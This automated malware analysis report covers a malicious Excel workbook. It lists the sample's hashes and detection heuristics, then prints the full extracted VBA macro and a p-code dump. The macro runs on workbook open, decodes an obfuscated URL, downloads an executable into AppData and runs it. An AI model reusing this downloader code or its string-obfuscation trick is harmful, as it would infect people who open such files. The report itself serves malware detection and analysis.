Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 39f4fa7ffcf9d992…

MALICIOUS

Office (OLE)

330.0 KB Created: 2020-07-30 15:20:36 Authoring application: Microsoft Excel First seen: 2020-09-07
MD5: 7e0becc6c23c266197380a8efd8bbe6b SHA-1: a5431ef3c1b09653b9849782baa224a655219b6d SHA-256: 39f4fa7ffcf9d992c076261fe06338f72c2436e5903e1acb0bd7e111036fc627
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The Workbook_Open macro is designed to execute code upon opening the Excel file. It utilizes the URLDownloadToFile API to download a payload from the hardcoded URL 'http://fyf/MQPGIL0fpmjug0npd/eftjdobohfssj00;tquui' and saves it to the AppData directory as 'fyf/ntdd'. Subsequently, it attempts to execute the downloaded file using ShellExecuteA. This indicates a downloader or droppper functionality.

Heuristics 6

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare PtrSafe Function xCntBRsrHxAsQu Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal YWEtNDuISfuijPYlNhLkCNCz As Long, ByVal tLIgPZgcoEFbdmJrTkQ As String, _
ByVal WqynTOONSDwDiIuKNQI As String, ByVal hKpYUJeUL As Long, ByVal YjRRF As Long) As Long
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    gFgrlDnJtEJGRjxFGPojgFgrlDnJtEJGRjxFGPoj = DecryptON("fyf/ntdd")
LNuATcRxstrwhovLnmCsumLoLNuATcRxstrwhovLnmCsumLo = Environ$("AppData") & "\" & gFgrlDnJtEJGRjxFGPojgFgrlDnJtEJGRjxFGPoj
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14718 bytes
SHA-256: 163e233c4cb200e37538448daa2b60b656371d08710bdaf11c43d9d820261dd5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Qil()

End Sub

Attribute VB_Name = "AtirRbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Declare Function PbUnkGdBtp Lib "shell32.dll" Alias _
"ShellExecuteA" (ByVal rSpBPxOAEfSPJc As Long, ByVal ZwRqwsEHVs As String, _
ByVal nxGBfuNiAvlQYZXdOHOtFEU As String, ByVal YcSsHAkRUpRVkuPdPCdz As String, ByVal ybIZLPpPbUnkGdBtpBSh As String, ByVal CqzWRvxeyD As Long) As Long

Private Declare PtrSafe Function xCntBRsrHxAsQu Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal YWEtNDuISfuijPYlNhLkCNCz As Long, ByVal tLIgPZgcoEFbdmJrTkQ As String, _
ByVal WqynTOONSDwDiIuKNQI As String, ByVal hKpYUJeUL As Long, ByVal YjRRF As Long) As Long

Sub SQznHypDN()
Dim kIXQAilFimAxgtSSuCOrKqNkIXQAilFimAxgtSSuCOrKqN As String
Dim gFgrlDnJtEJGRjxFGPojgFgrlDnJtEJGRjxFGPoj As String
Dim LNuATcRxstrwhovLnmCsumLoLNuATcRxstrwhovLnmCsumLo As String
Dim wvjjKSfHbGfwIwuoGDZJwvjjKSfHbGfwIwuoGDZJ As String
Dim UbWizAUbWizAUbWizA As String
Dim VWhElOeKQksiVWhElOeKQksi As String
gFgrlDnJtEJGRjxFGPojgFgrlDnJtEJGRjxFGPoj = DecryptON("fyf/ntdd")
LNuATcRxstrwhovLnmCsumLoLNuATcRxstrwhovLnmCsumLo = Environ$("AppData") & "\" & gFgrlDnJtEJGRjxFGPojgFgrlDnJtEJGRjxFGPoj


kIXQAilFimAxgtSSuCOrKqNkIXQAilFimAxgtSSuCOrKqN = DecryptON("fyf/MQPGIL0fpmjug0npd/eftjdobohfssj00;tquui")

xCntBRsrHxAsQu 0, kIXQAilFimAxgtSSuCOrKqNkIXQAilFimAxgtSSuCOrKqN, LNuATcRxstrwhovLnmCsumLoLNuATcRxstrwhovLnmCsumLo, 0, 0
PbUnkGdBtp 0, "open", LNuATcRxstrwhovLnmCsumLoLNuATcRxstrwhovLnmCsumLo, "", vbNullString, vbNormalFocus
End Sub


Function neidd(burgerorgan, b31c4a4ce5b6c1698abcdafffba877ee5)
bc83f1dcf14f314c2e15c4269d5db413b = "*" & burgerorgan & "*"
Dim be3a8c1f30f1abadd648e22b16fdb57d5 As Double
be3a8c1f30f1abadd648e22b16fdb57d7 = 42.162
Dim columnwall As Byte
columnwall = 44414.429
Dim t0ea0a0840384a15e019665b2e996b73f As Long
t0ea0a0840384a15e019665b2e996b73f = 64.954
Dim n2b549c2e42dc58d564726b5780212aza As Double
n2b549c2e42dc58d564726b5780212aza = 895.115
w43ad895575840ebcc1276c6cdbbbf29a = ""
Dim m974e3e334b64ac13b6dec997fbabf21f As String
m974e3e334b64ac13b6dec997fbabf21f = "naiveremove"
Dim b08576ffe41cb67690655f1261f410844 As Byte
b08576ffe41cb67690655f1261f410844 = 19.227
Dim z2c55929d38494d4bf3ab6ba3dd16305c As Boolean
z2c55929d38494d4bf3ab6ba3dd16305c = 93.904
Dim b9d76f7072ca3da29e82e55579143fba0 As Double
b9d76f7072ca3da29e82e55579143fba0 = 108.662
bcc82e91a1aec88203a7eef2078879067 Not b31c4a4ce5b6c1698abcdafffba877ee5 Like bc83f1dcf14f314c2e15c4269d5db413b Then
w43ad895575840ebcc1276c6cdbbbf29a = burgerorgan
Dim kqeepfyakmzwuediw As Double
kqeepfyakmzwuediw = 61.491
bcc82e91a1aec88203a7eef2078879067 kqeepfyakmzwuediw <> 89.252 Then
Dim flamesight As Byte
flamesight = 112.797
Dim sweartrust As Long
sweartrust = 35.981
Dim prqhhqrabc As String
prqhhqrabc = "fadzjgdilazu"
End bcc82e91a1aec88203a7eef2078879067
End Function


Sub Workbook_Open()

SQznHypDN
End Sub

Function mkeidd(burgerorgan, b31c4a4ce5b6c1698abcdafffba877ee5)
bc83f1dcf14f314c2e15c4269d5db413b = "*" & burgerorgan & "*"
Dim be3a8c1f30f1abadd648e22b16fdb57d5 As Double
be3a8c1f30f1abadd648e22b16fdb57d7 = 42.162
Dim columnwall As Byte
columnwall = 44414.429
Dim t0ea0a0840384a15e019665b2e996b73f As Long
t0ea0a0840384a15e019665b2e996b73f = 64.954
Dim n2b549c2e42dc58d564726b5780212aza As Double
n2b549c2e42dc58d564726b5780212aza = 895.115
w43ad895575840ebcc1276c6cdbbbf29a = ""
Dim m974e3e334b64ac13b6dec997fbabf21f As String
m974e3e334b64ac13b6dec997fbabf21f = "naiveremove"
Dim b08576ffe41cb67690655f1261f410844 As Byte
b08576ffe41cb67690655f1261f410844 = 19.227
Dim z2c55929d38494d4bf3ab6ba3dd16305c As Boolean
z2c55929d38494d4bf3ab6ba3dd16305c = 93.904
Dim b9d76f7072ca3da29e82e55579143fba0 As Double
b9d76f7072ca3da29e82e55579143fba0 = 108.662
bcc82e91a1aec88203a7eef2078879067 Not b31c4a4ce5b6c1698abcdafffba877ee5 Like bc83f1dcf14f314c2e15c4269d5db413b Then
w43ad895575840ebcc1276c6cdbbbf29a = burgerorgan
Dim kqeepfyakmzwuediw As Double
kqeepfyakmzwuediw = 61.491
bcc82e91a1aec88203a7eef2078879067 kqeepfyakmzwuediw <> 89.252 Then
Dim flamesight As Byte
flamesight = 112.797
Dim sweartrust As Long
sweartrust = 35.981
Dim prqhhqrabc As String
prqhhqrabc = "fadzjgdilazu"
End bcc82e91a1aec88203a7eef2078879067
End Function

Function DecryptON(enci)
    Dim fuij As String
    Dim cyis As Date
    Dim gcuijNfnfmL
    Dim AppData
    Dim llKjgnjjrUHTm
    Dim nn As Byte
    enci = StrReverse(enci)
    For llKjgnjjrUHTm = 1 To Len(enci)
        gcuijNfnfmL = Mid(enci, llKjgnjjrUHTm, 1)
        
        fuij = ""
        cyis = 19 / 6 / 2190
        nn = 1
AppData = AppData & Chr(AscW(gcuijNfnfmL) - 1)
    Next
 
DecryptON = AppData

For nn = 1 To Len(enc)

Next
    
End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

' Processing file: /tmp/qstore_zbfrl1ch
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/Module1 - 823 bytes
' Line #0:
' 	FuncDefn (Sub ZwRqwsEHVs())
' Line #1:
' Line #2:
' 	EndSub 
' _VBA_PROJECT_CUR/VBA/AtirRbook - 9996 bytes
' Line #0:
' 	LineCont 0x0008 07 00 00 00 13 00 00 00
' 	FuncDefn (Private Declare Function YcSsHAkRUpRVkuPdPCdz Lib "WqynTOONSDwDiIuKNQI" (ByVal ybIZLPpPbUnkGdBtpBSh As Long, ByVal CqzWRvxeyD As String, ByVal shell32.dll As String, ByVal xCntBRsrHxAsQu As String, ByVal YWEtNDuISfuijPYlNhLkCNCz As String, ByVal tLIgPZgcoEFbdmJrTkQ As Long) As Long)
' Line #1:
' Line #2:
' 	LineCont 0x0008 08 00 00 00 14 00 00 00
' 	FuncDefn (Private Declare PtrSafe Function hKpYUJeUL Lib "LNuATcRxstrwhovLnmCsumLoLNuATcRxstrwhovLnmCsumLo" (ByVal YjRRF As Long, ByVal urlmon As String, ByVal SQznHypDN As String, ByVal kIXQAilFimAxgtSSuCOrKqNkIXQAilFimAxgtSSuCOrKqN As Long, ByVal gFgrlDnJtEJGRjxFGPojgFgrlDnJtEJGRjxFGPoj As Long) As Long)
' Line #3:
' Line #4:
' 	FuncDefn (Sub wvjjKSfHbGfwIwuoGDZJwvjjKSfHbGfwIwuoGDZJ())
' Line #5:
' 	Dim 
' 	VarDefn UbWizAUbWizAUbWizA (As String)
' Line #6:
' 	Dim 
' 	VarDefn VWhElOeKQksiVWhElOeKQksi (As String)
' Line #7:
' 	Dim 
' 	VarDefn DecryptON (As String)
' Line #8:
' 	Dim 
' 	VarDefn Environ (As String)
' Line #9:
' 	Dim 
' 	VarDefn vbNullString (As String)
' Line #10:
' 	Dim 
' 	VarDefn vbNormalFocus (As String)
' Line #11:
' 	LitStr 0x0008 "fyf/ntdd"
' 	ArgsLd neidd 0x0001 
' 	St VWhElOeKQksiVWhElOeKQksi 
' Line #12:
' 	LitStr 0x0007 "AppData"
' 	ArgsLd burgerorgan$ 0x0001 
' 	LitStr 0x0001 "\"
' 	Concat 
' 	Ld VWhElOeKQksiVWhElOeKQksi 
' 	Concat 
' 	St DecryptON 
' Line #13:
' Line #14:
' Line #15:
' 	LitStr 0x002B "fyf/MQPGIL0fpmjug0npd/eftjdobohfssj00;tquui"
' 	ArgsLd neidd 0x0001 
' 	St UbWizAUbWizAUbWizA 
' Line #16:
' Line #17:
' 	LitDI2 0x0000 
' 	Ld UbWizAUbWizAUbWizA 
' 	Ld DecryptON 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	ArgsCall hKpYUJeUL 0x0005 
' Line #18:
' 	LitDI2 0x0000 
' 	LitStr 0x0004 "open"
' 	Ld DecryptON 
' 	LitStr 0x0000 ""
' 	Ld b31c4a4ce5b6c1698abcdafffba877ee5 
' 	Ld bc83f1dcf14f314c2e15c4269d5db413b 
' 	ArgsCall YcSsHAkRUpRVkuPdPCdz 0x0006 
' Line #19:
' 	EndSub 
' Line #20:
' Line #21:
' Line #22:
' 	FuncDefn (Function be3a8c1f30f1abadd648e22b16fdb57d5(be3a8c1f30f1abadd648e22b16fdb57d7, columnwall, id_FFFE As Variant))
' Line #23:
' 	LitStr 0x0001 "*"
' 	Ld be3a8c1f30f1abadd648e22b16fdb57d7 
' 	Concat 
' 	LitStr 0x0001 "*"
' 	Concat 
' 	St t0ea0a0840384a15e019665b2e996b73f 
' Line #24:
' 	Dim 
' 	VarDefn n2b549c2e42dc58d564726b5780212aza (As Double)
' Line #25:
' 	LitR8 0xF9DB 0x6A7E 0x14BC 0x4045 
' 	St w43ad895575840ebcc1276c6cdbbbf29a 
' Line #26:
' 	Dim 
' 	VarDefn m974e3e334b64ac13b6dec997fbabf21f (As Byte)
' Line #27:
' 	LitR8 0x353F 0xBA5E 0xAFCD 0x40E5 
' 	St m974e3e334b64ac13b6dec997fbabf21f 
' Line #28:
' 	Dim 
' 	VarDefn b08576ffe41cb67690655f1261f410844 (As Long)
' Line #29:
' 	LitR8 0x1893 0x5604 0x3D0E 0x4050 
' 	St b08576ffe41cb67690655f1261f410844 
' Line #30:
' 	Dim 
' 	VarDefn z2c55929d38494d4bf3ab6ba3dd16305c (As Double)
' Line #31:
' 	LitR8 0xB852 0x851E 0xF8EB 0x408B 
' 	St z2c55929d38494d4bf3ab6ba3dd16305c 
' Line #32:
' 	LitStr 0x0000 ""
' 	St b9d76f7072ca3da29e82e55579143fba0 
' Line #33:
' 	Dim 
' 	VarDefn bcc82e91a1aec88203a7eef2078879067 (As String)
' Line #34:
' 	LitStr 0x000B "naiveremove"
' 	St bcc82e91a1aec88203a7eef2078879067 
' Line #35:
' 	Dim 
' 	VarDefn kqeepfyakmzwuediw (As Byte)
' Line #36:
' 	LitR8 0x3127 0xAC08 0x3A1C 0x4033 
' 	St kqeepfyakmzwuediw 
' Line #37:
' 	Dim 
' 	VarDefn flamesight (As Boolean)
' Line #38:
' 	LitR8 0xE560 0x22D0 0x79DB 0x4057 
' 	St flamesight 
' Line #39:
' 	Dim 
' 	VarDefn sweartrust (As Double)
' Line #40:
' 	LitR8 0x7CEE 0x353F 0x2A5E 0x405B 
' 	St sweartrust 
' Line #41:
' 	Reparse 0x0073 "bcc82e91a1aec88203a7eef2078879067 Not b31c4a4ce5b6c1698abcdafffba877ee5 Like bc83f1dcf14f314c2e15c4269d5db413b Then"
' Line #42:
' 	Ld be3a8c1f30f1abadd648e22b16fdb57d7 
' 	St b9d76f7072ca3da29e82e55579143fba0 
' Line #43:
' 	Dim 
' 	VarDefn Workbook_Open (As Double)
' Line #44:
' 	LitR8 0x2B02 0x1687 0xBED9 0x404E 
' 	St Workbook_Open 
' Line #45:
' 	Reparse 0x0042 "bcc82e91a1aec88203a7eef2078879067 kqeepfyakmzwuediw <> 89.252 Then"
' Line #46:
' 	Dim 
' 	VarDefn mkeidd (As Byte)
' Line #47:
' 	LitR8 0xBA5E 0x0C49 0x3302 0x405C 
' 	St mkeidd 
' Line #48:
' 	Dim 
' 	VarDefn enci (As Long)
' Line #49:
' 	LitR8 0xB021 0x6872 0xFD91 0x4041 
' 	St enci 
' Line #50:
' 	Dim 
' 	VarDefn fuij (As String)
' Line #51:
' 	LitStr 0x000C "fadzjgdilazu"
' 	St fuij 
' Line #52:
' 	Reparse 0x0025 "End bcc82e91a1aec88203a7eef2078879067"
' Line #53:
' 	EndFunc 
' Line #54:
' Line #55:
' Line #56:
' 	FuncDefn (Sub cyis())
' Line #57:
' Line #58:
' 	ArgsCall wvjjKSfHbGfwIwuoGDZJwvjjKSfHbGfwIwuoGDZJ 0x0000 
' Line #59:
' 	EndSub 
' Line #60:
' Line #61:
' 	FuncDefn (Function gcuijNfnfmL(be3a8c1f30f1abadd648e22b16fdb57d7, columnwall, id_FFFE As Variant))
' Line #62:
' 	LitStr 0x0001 "*"
' 	Ld be3a8c1f30f1abadd648e22b16fdb57d7 
' 	Concat 
' 	LitStr 0x0001 "*"
' 	Concat 
' 	St t0ea0a0840384a15e019665b2e996b73f 
' Line #63:
' 	Dim 
' 	VarDefn n2b549c2e42dc58d564726b5780212aza (As Double)
' Line #64:
' 	LitR8 0xF9DB 0x6A7E 0x14BC 0x4045 
' 	St w43ad895575840ebcc1276c6cdbbbf29a 
' Line #65:
' 	Dim 
' 	VarDefn m974e3e334b64ac13b6dec997fbabf21f (As Byte)
' Line #66:
' 	LitR8 0x353F 0xBA5E 0xAFCD 0x40E5 
' 	St m974e3e334b64ac13b6dec997fbabf21f 
' Line #67:
' 	Dim 
' 	VarDefn b08576ffe41cb67690655f1261f410844 (As Long)
' Line #68:
' 	LitR8 0x1893 0x5604 0x3D0E 0x4050 
' 	St b08576ffe41cb67690655f1261f410844 
' Line #69:
' 	Dim 
' 	VarDefn z2c55929d38494d4bf3ab6ba3dd16305c (As Double)
' Line #70:
' 	LitR8 0xB852 0x851E 0xF8EB 0x408B 
' 	St z2c55929d38494d4bf3ab6ba3dd16305c 
' Line #71:
' 	LitStr 0x0000 ""
' 	St b9d76f7072ca3da29e82e55579143fba0 
' Line #72:
' 	Dim 
' 	VarDefn bcc82e91a1aec88203a7eef2078879067 (As String)
' Line #73:
' 	LitStr 0x000B "naiveremove"
' 	St bcc82e91a1aec88203a7eef2078879067 
' Line #74:
' 	Dim 
' 	VarDefn kqeepfyakmzwuediw (As Byte)
' Line #75:
' 	LitR8 0x3127 0xAC08 0x3A1C 0x4033 
' 	St kqeepfyakmzwuediw 
' Line #76:
' 	Dim 
' 	VarDefn flamesight (As Boolean)
' Line #77:
' 	LitR8 0xE560 0x22D0 0x79DB 0x4057 
' 	St flamesight 
' Line #78:
' 	Dim 
' 	VarDefn sweartrust (As Double)
' Line #79:
' 	LitR8 0x7CEE 0x353F 0x2A5E 0x405B 
' 	St sweartrust 
' Line #80:
' 	Reparse 0x0073 "bcc82e91a1aec88203a7eef2078879067 Not b31c4a4ce5b6c1698abcdafffba877ee5 Like bc83f1dcf14f314c2e15c4269d5db413b Then"
' Line #81:
' 	Ld be3a8c1f30f1abadd648e22b16fdb57d7 
' 	St b9d76f7072ca3da29e82e55579143fba0 
' Line #82:
' 	Dim 
' 	VarDefn Workbook_Open (As Double)
' Line #83:
' 	LitR8 0x2B02 0x1687 0xBED9 0x404E 
' 	St Workbook_Open 
' Line #84:
' 	Reparse 0x0042 "bcc82e91a1aec88203a7eef2078879067 kqeepfyakmzwuediw <> 89.252 Then"
' Line #85:
' 	Dim 
' 	VarDefn mkeidd (As Byte)
' Line #86:
' 	LitR8 0xBA5E 0x0C49 0x3302 0x405C 
' 	St mkeidd 
' Line #87:
' 	Dim 
' 	VarDefn enci (As Long)
' Line #88:
' 	LitR8 0xB021 0x6872 0xFD91 0x4041 
' 	St enci 
' Line #89:
' 	Dim 
' 	VarDefn fuij (As String)
' Line #90:
' 	LitStr 0x000C "fadzjgdilazu"
' 	St fuij 
' Line #91:
' 	Reparse 0x0025 "End bcc82e91a1aec88203a7eef2078879067"
' Line #92:
' 	EndFunc 
' Line #93:
' Line #94:
' 	FuncDefn (Function neidd(AppData, id_FFFE As Variant))
' Line #95:
' 	Dim 
' 	VarDefn llKjgnjjrUHTm (As String)
' Line #96:
' 	Dim 
' 	VarDefn nn (As Date)
' Line #97:
' 	Dim 
' 	VarDefn StrReverse
' Line #98:
' 	Dim 
' 	VarDefn Chr
' Line #99:
' 	Dim 
' 	VarDefn AscW
' Line #100:
' 	Dim 
' 	VarDefn enc (As Byte)
' Line #101:
' 	Ld AppData 
' 	ArgsLd Sheet1 0x0001 
' 	St AppData 
' Line #102:
' 	StartForVariable 
' 	Ld AscW 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld AppData 
' 	FnLen 
' 	For 
' Line #103:
' 	Ld AppData 
' 	Ld AscW 
' 	LitDI2 0x0001 
' 	ArgsLd Mid 0x0003 
' 	St StrReverse 
' Line #104:
' Line #105:
' 	LitStr 0x0000 ""
' 	St llKjgnjjrUHTm 
' Line #106:
' 	LitDI2 0x0013 
' 	LitDI2 0x0006 
' 	Div 
' 	LitDI2 0x088E 
' 	Div 
' 	St nn 
' Line #107:
' 	LitDI2 0x0001 
' 	St enc 
' Line #108:
' 	Ld Chr 
' 	Ld StrReverse 
' 	ArgsLd Sheet3 0x0001 
' 	LitDI2 0x0001 
' 	Sub 
' 	ArgsLd Sheet2 0x0001 
' 	Concat 
' 	St Chr 
' Line #109:
' 	StartForVariable 
' 	Next 
' Line #110:
' Line #111:
' 	Ld Chr 
' 	St neidd 
' Line #112:
' Line #113:
' 	StartForVariable 
' 	Ld enc 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld Workbook 
' 	FnLen 
' 	For 
' Line #114:
' Line #115:
' 	StartForVariable 
' 	Next 
' Line #116:
' Line #117:
' 	EndFunc 
' _VBA_PROJECT_CUR/VBA/Sheet1 - 985 bytes
' _VBA_PROJECT_CUR/VBA/Sheet2 - 985 bytes
' _VBA_PROJECT_CUR/VBA/Sheet3 - 985 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.